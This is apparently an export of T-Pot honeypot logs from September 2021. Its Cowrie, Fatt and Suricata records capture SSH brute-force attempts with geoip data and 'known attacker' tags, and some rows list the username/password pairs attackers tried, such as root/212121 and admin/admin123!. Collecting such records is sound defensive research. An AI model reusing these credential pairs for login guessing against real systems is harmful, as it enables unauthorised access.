27863	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:40.252003+03	2021-09-20 14:30:02.080523+03	{"_id": "zgbrAnwBvYTbRNuEMirX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:15:40.252003Z", "@timestamp": "2021-09-20T11:15:40.252Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
27865	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:15:40.784595+03	2021-09-20 14:30:02.083524+03	{"_id": "3gbrAnwBvYTbRNuENSr7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 37548, "dest_port": 22, "timestamp": "2021-09-20T11:15:40.784595", "@timestamp": "2021-09-20T11:15:40.784Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27866	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:41.459369+03	2021-09-20 14:30:02.084524+03	{"_id": "4AbrAnwBvYTbRNuENirA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.login.success", "message": "login attempt [lei/123456] succeeded", "session": "10e67aad7ad1", "@version": "1", "password": "123456", "username": "lei", "timestamp": "2021-09-20T11:15:41.459369Z", "@timestamp": "2021-09-20T11:15:41.459Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	known attacker	\N
27867	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:40.785249+03	2021-09-20 14:30:02.085527+03	{"_id": "4QbrAnwBvYTbRNuENirB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "751171bb91b1", "@version": "1", "timestamp": "2021-09-20T11:15:40.785249Z", "@timestamp": "2021-09-20T11:15:40.785Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27868	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:15:41.682849+03	2021-09-20 14:30:02.087524+03	{"_id": "4gbrAnwBvYTbRNuENirB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/212121] failed", "session": "f25012e6ece1", "@version": "1", "password": "212121", "username": "root", "timestamp": "2021-09-20T11:15:41.682849Z", "@timestamp": "2021-09-20T11:15:41.682Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
27869	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:15:41.729868+03	2021-09-20 14:30:02.088526+03	{"_id": "4wbrAnwBvYTbRNuENirB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [admin/admin123!] failed", "session": "6a5af56f9fad", "@version": "1", "password": "admin123!", "username": "admin", "timestamp": "2021-09-20T11:15:41.729868Z", "@timestamp": "2021-09-20T11:15:41.729Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
42737	192.168.20.103	109.199.241.180	Suricata	2021-09-20 16:17:35.00431+03	2021-09-20 16:30:02.163745+03	{"_id": "LAZaA3wBvYTbRNuE0ZjS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.252", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:17:35.004310Z", "@timestamp": "2021-09-20T13:17:35.004Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
27870	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:15:42.302023+03	2021-09-20 14:30:02.089525+03	{"_id": "5AbrAnwBvYTbRNuEOSrk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "81.71.17.12", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 41588, "timestamp": "2021-09-20T11:15:42.302023", "@timestamp": "2021-09-20T11:15:42.302Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27871	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:42.022467+03	2021-09-20 14:30:02.090523+03	{"_id": "5wbrAnwBvYTbRNuEOiqq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 81.71.17.12:41588 (192.168.176.2:22) [session: f7cdbb9f3865]", "session": "f7cdbb9f3865", "@version": "1", "protocol": "ssh", "src_port": 41588, "dest_port": 22, "timestamp": "2021-09-20T11:15:42.022467Z", "@timestamp": "2021-09-20T11:15:42.022Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
27872	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:15:37.70816+03	2021-09-20 14:30:02.092524+03	{"_id": "tQbrAnwBvYTbRNuEKCr9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "flow_id": 1483238725363205, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 51685, "dest_port": 22, "timestamp": "2021-09-20T11:15:37.708160Z", "@timestamp": "2021-09-20T11:15:37.708Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
27873	218.92.0.190	109.199.241.180	Fatt	2021-09-20 14:15:37.708239+03	2021-09-20 14:30:02.093524+03	{"_id": "tgbrAnwBvYTbRNuEKio_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 51685, "dest_port": 22, "timestamp": "2021-09-20T11:15:37.708239", "@timestamp": "2021-09-20T11:15:37.708Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
27874	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:15:37.900821+03	2021-09-20 14:30:02.094524+03	{"_id": "uAbrAnwBvYTbRNuEKyoE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [xiao/xiao] failed", "session": "f3a05593ffc4", "@version": "1", "password": "xiao", "username": "xiao", "timestamp": "2021-09-20T11:15:37.900821Z", "@timestamp": "2021-09-20T11:15:37.900Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
42743	192.168.20.118	109.199.241.180	Suricata	2021-09-20 16:17:32.696954+03	2021-09-20 16:30:02.172745+03	{"_id": "DgZaA3wBvYTbRNuExpga", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.118", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:17:32.696954Z", "@timestamp": "2021-09-20T13:17:32.696Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
27875	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:15:38.263244+03	2021-09-20 14:30:02.095524+03	{"_id": "uQbrAnwBvYTbRNuEKyoF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:37484 (192.168.176.2:22) [session: 6a5af56f9fad]", "session": "6a5af56f9fad", "@version": "1", "protocol": "ssh", "src_port": 37484, "dest_port": 22, "timestamp": "2021-09-20T11:15:38.263244Z", "@timestamp": "2021-09-20T11:15:38.263Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
